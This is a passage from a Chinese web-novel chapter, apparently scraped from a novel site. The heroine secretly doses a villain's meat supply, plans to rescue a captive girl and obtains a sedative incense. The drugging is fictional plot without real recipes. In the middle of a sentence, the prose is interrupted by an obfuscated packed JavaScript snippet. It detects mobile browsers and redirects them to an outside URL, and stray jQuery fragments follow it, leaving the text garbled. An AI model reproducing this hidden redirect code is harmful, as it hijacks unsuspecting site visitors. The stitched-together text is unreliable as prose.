屠户摸着脑袋嘿嘿嘿地笑着,脸皮厚得吓人。
妇人见他软硬不吃,摇头没再说话,叫来几个下人拿来称重。
肉泡过水,显得饱满圆润,称下来重了不少,妇人没废话,命人取了钱塞过来,
谁都没有注意到静安。
静安乐得清闲,已经连续下四次药了,估计赵荻已经有反应了,这个药威力极大,是头猪也要哼哼十天半月,更何况她每次都是一整瓶倒进去。
推车回去后,静安急着溜走,那个凶恶的屠户却一把拽住静安的辫子。
“小娘们,跑什么,告诉你,撞伤了老子,不赔钱,还不想在我这里伺候,每天让你干点活,你还不乐意了!”
静安连忙赔上讨好的笑:“哪有这回事啊哥,我身上的钱不都给你了。
再说了,你又不是知道,我要回家照顾我母亲,我还要去药田帮工,我是真没办法,明天我还来帮你处理肉,好不好?”
“什么意思?”那人手上力气加重了些,“告诉你,是你小子在大街上撞了我,没有十两银子我跟你没完,既然没有钱,就一直过来给我砍肉,砍到钱还完为止。
你个小兔崽子,别想跑,老子随时杀到你家里去,给你那个下不了床的死娘拽下来,让她替我干活。”
静安装出一副害怕的样子:“别哥,我求你了,你留着我,我免费帮你干活,我现在就把这些肉处理干净。”
静安顺势扭掉男人的束缚,往小厨房走去。
不是想让我帮忙吗,那剩下的这瓶药,我就不客气了,静安眼疾手快,将一整瓶药下在肉里。
这肉色泽饱满,不是出摊的散货,一定是准备明天送到赵府的。
整不了你了,静安一边嫌弃地擦着自己被摸过的手,一边收拾东西往外面跑,药下得差不多了,现在等鱼上钩就行。
静安前脚刚刚迈进药房,后脚便看到常叔跟了上来。
“丫头,你告诉我实话,你是不是要干什么危险的事情。”常叔一脸严肃,似乎是在想如何劝说静安,“我已经给少爷写信了,他马上就到,实在不行,咱们拿钱去赎人,怎么都好,你不能冒险。”
静安看着常叔,关上药铺的门,重重地叹了口气:“叔你别激动,我没有做危险的事情,咱们进里屋说。”
常叔心事重重地坐下,静安给他倒了杯茶,不疾不徐地开口。
“很简单,现在这个情况,不把人玩到半死不活,赵荻是不会卖掉小白的,况且,他本身就是吴州一霸,根本不缺银子。”
“若想把人从赵荻手里救下来,只能偷。可凭咱们几个,如何能偷得?
所以我们需要一个赵荻不在的时间,可这件事无法控制,短期我也发现不了规律。”
静安叹了口气,如若不是赵府铁板一块,她本不必冒如此大的风险。
“我偷偷观察,赵荻不和家人同住,他一个人在南郊私宅。
我翻过那处私宅的泔水桶,赵荻家每天食物的消耗量很大,与平常富贵人家无异。”
“只是有一点。”
“倒掉的食物里面,有很多生肉。”静安沉默片刻,“完全没有处理过的,生肉。”
“这能说明什么?”常叔没明白。
有些挑剔的主家不喜一些部位,厨房的伙计去粗取精也是情理之中。
“一般的大户人家,厨房下来的肉都被下人分了,但赵荻家里没有这个现象。
要么是他家里奴才看不起这点肉,可现在这个年头,生肉价格高昂,就是牙缝一点,奴才们也会留下来。
所以只能是赵荻,不允许家里奴才碰他的一点东西,这意味着他的食物专人专供的。”
“我在他后门蹲了几天,发现每隔一天或者两天,有个贩子推着推车来后门送肉,整鸡整鸭,处理好的牛羊排,还有各样的野味,这不是奴才吃的东西。”
“我在附近打听了下,这人是赵荻家后厨管事的侄子。
以前是个屠户,但好吃懒做,生意极差。没办法,他姑姑把他推荐给赵荻,让他专门给赵家送肉。赵荻嗜肉如命,顿顿是离不开的。”
“我可以直接在他的作坊里面下药,但我害怕,怕他将肉卖给其他人走漏风声。”
“索性找了个合适的时机撞了他,此人生性贪婪,自然不会放过我。
可我乔装过后奇丑,且身无分文,只得在他肉铺帮忙来补偿他的损失。”
静安微微停顿,故作轻松道:“剩下的事,便简单多了。”
“药是从可黎婶那里拿的,以前庄子有姑娘不舒服,便会偷偷用一点,男人沾上一点,便不能人道。”
“至于许章,他家与赵荻牵涉甚广,之前听说,他父亲托关系给他在衙门找了个差事,想必是赵荻替他办的。
有了这层关系,赵荻对他的信任,比街边的小广告好用得多。”
“我一直向许章推销,甚至在他去找赵荻之前给他补品。
就是为了让赵荻有所察觉,一旦赵荻开口询问,就落入咱们的回合了。”
“不过,从许章的角度看,很可疑,为什么一直无缘无故推销这个,还让他一直拿着帮忙宣传。”
“但,他好像没有发现。”静安低头苦笑,“误会成其他意思了,无所谓,现在只等一个赵荻入圈的时机。”
“不行,太危险了。”常叔按住静安的肩膀。
“娃,你怎么能自己去干那种事呢,那屠户和你单独待在一起,有个三长两短怎么办,被伤害了怎么办?那许章一看就不是什么好东西,你跟他走那么近,你清清白白一个丫头,别人说你闲话怎么办?”
常叔突然的关心让静安有些心虚,“没,没事的。”
静安不知道怎么回答只能转移话题:“就是等赵荻来了,麻烦叔装得像一点。”
常叔不依不饶继续道:“你将赵荻引开,就有办法了吗?你知道那姑娘被关在哪里吗?怎么进去,怎么救人?这些后续的你考虑清楚了吗?”
静安撇嘴,盯着常叔:“叔明明比我清楚,沈珏在我身边安排的那个护卫,又不是吃素的,怎么,都以为我没发现吗?”
常叔被小丫头的话堵住,悄悄看向静安身后的暗处,那人影悄悄抖动了下,又往里面缩了缩,常叔一脸尴尬地挠挠耳朵:“怎么,怎么发现的。”
静安理直气壮:“我又不是傻子,每日贴身跟着,树上趴着,我被打那天他都冲到庄子里面了,我肯定会发现的啊。”
“赵荻家的规划图,还有每个屋子送餐时间,都在这里了。”
静安掏出一叠纸,轻笑道:“他不是喜欢趴树上嘛,我便让他趴赵荻家附近的大树上。除了主屋外,附近的侧院饭菜都是下人准时去送,赵荻不跟他夫人住一起,那侧院关着的,还能是谁呢。”
常叔沉默不说话,静安继续撒娇:“到时候麻烦叔一起接应一下,我现在还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315472|182973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有其他事情,如果赵荻来了,就拜托常叔啦。”
说完,静安不顾常叔的阻拦,戴上帷帽头也不回地离开药铺。
常叔一只手撑在桌面,低头叹气,他心里总是害怕,只能再写封加急信给沈珏送过去。
静安推开堂口大门,许久不来,这里比之前空荡不少。
静安熟门熟路地进了里屋,胡锦瑟正在指挥自己那便宜弟弟搬东西,静安突然出现在身后,吓了她一跳。
“哎哟,我的大小姐,你这走路没有声音的吗?”胡锦瑟拍了拍脑门,冲着静安抱怨道。
“是你收拾得太专心了,怎么样,新家找好了吗?”
虽说与萧云从不相往来,但胡锦瑟这个朋友,静安很是喜欢,一来二去,两人渐渐熟络起来。
“在平阳那块买了新地,比吴州暖和多了。”胡锦瑟拍拍手上的浮灰,似乎又想到什么,“多亏了你,没有那笔钱,哪能这么快还清啊。”
静安笑了笑,扭头参观起这栋老宅来:“离开祖辈生活的地方……你甘心吗?”
不知是认命还是无奈,锦瑟摇了摇头没有说话,静安从她秀气的脸蛋上看不到一丝的情绪起伏。
两人正说着,锦瑟取出一个木匣子递到静安面前来。
“你上次要的东西。”
打开是香烛和一袋粉末,静安想凑近闻,被锦瑟打断了。
“这是我托人专门找的,一点点都可以放倒一头牛了。你若是用人身上,点燃之后,一个院子基本会睡死。解药在暗格里,含在嘴里即可。”
静安点头:“还是你有门路,多谢了。”
锦瑟没接话头,无论客人还是朋友,锦瑟都无权过问。
但这种剂量的迷药,锦瑟还是多嘴了句:“需要帮忙吗?”
四目相对,锦瑟眼里的真诚不作假,静安凑近,直直地盯着锦瑟/
胡堂主何时与旁人贴得如此近,不自觉羞红了脸,别扭地扭过头去,揉了揉鼻子,“就是想问问你,我好歹是堂口老大,有些人脉。”
“不用。”静安抽身,“你最近好好清账,带着子期离开这个地方,安心过日子。”
静安给了锦瑟一个眼神,转身离开了。
此时胡子期刚刚泡好茶端上来,静安身侧的药味还未散去,人已经离开了。
锦瑟喊人,希望留下来喝杯茶,静安头也不回地摆摆手:“下次,下次再见,我想喝,喝……”
锦瑟听不到声音,追了出去:“喝什么啊?”
可随着人越走越远,静安的声音,终究还是被黄昏吞没了。
锦瑟望着堂口的招牌叹了口气,不知为何,她最近心口堵得厉害。
天色渐渐暗了下去,马车晃晃悠悠地回到药铺,此时街道商铺都歇业了。
只有自家药铺还隐隐透出光来,静安存了心眼,观望半晌,确定店中没客人后才下车。
静安刚回来,常叔便急匆匆地将静安拉进去“没被看到吧?”
“怎么了?”静安有些疑惑。
常叔双手交叠,似乎有些后怕:“赵荻的马车刚刚走,我真害怕你们俩碰到,咱们的计划就完蛋了。”
“什么!”静安惊呼出声,但又冷静下来和常叔解释,“没事,我每次去庄子看诊都会乔装一番。”
静安有些急切:“况且,在赵荻心中,咱们这种平民是不会反抗的。没事的,叔,你快告诉我,什么情况?”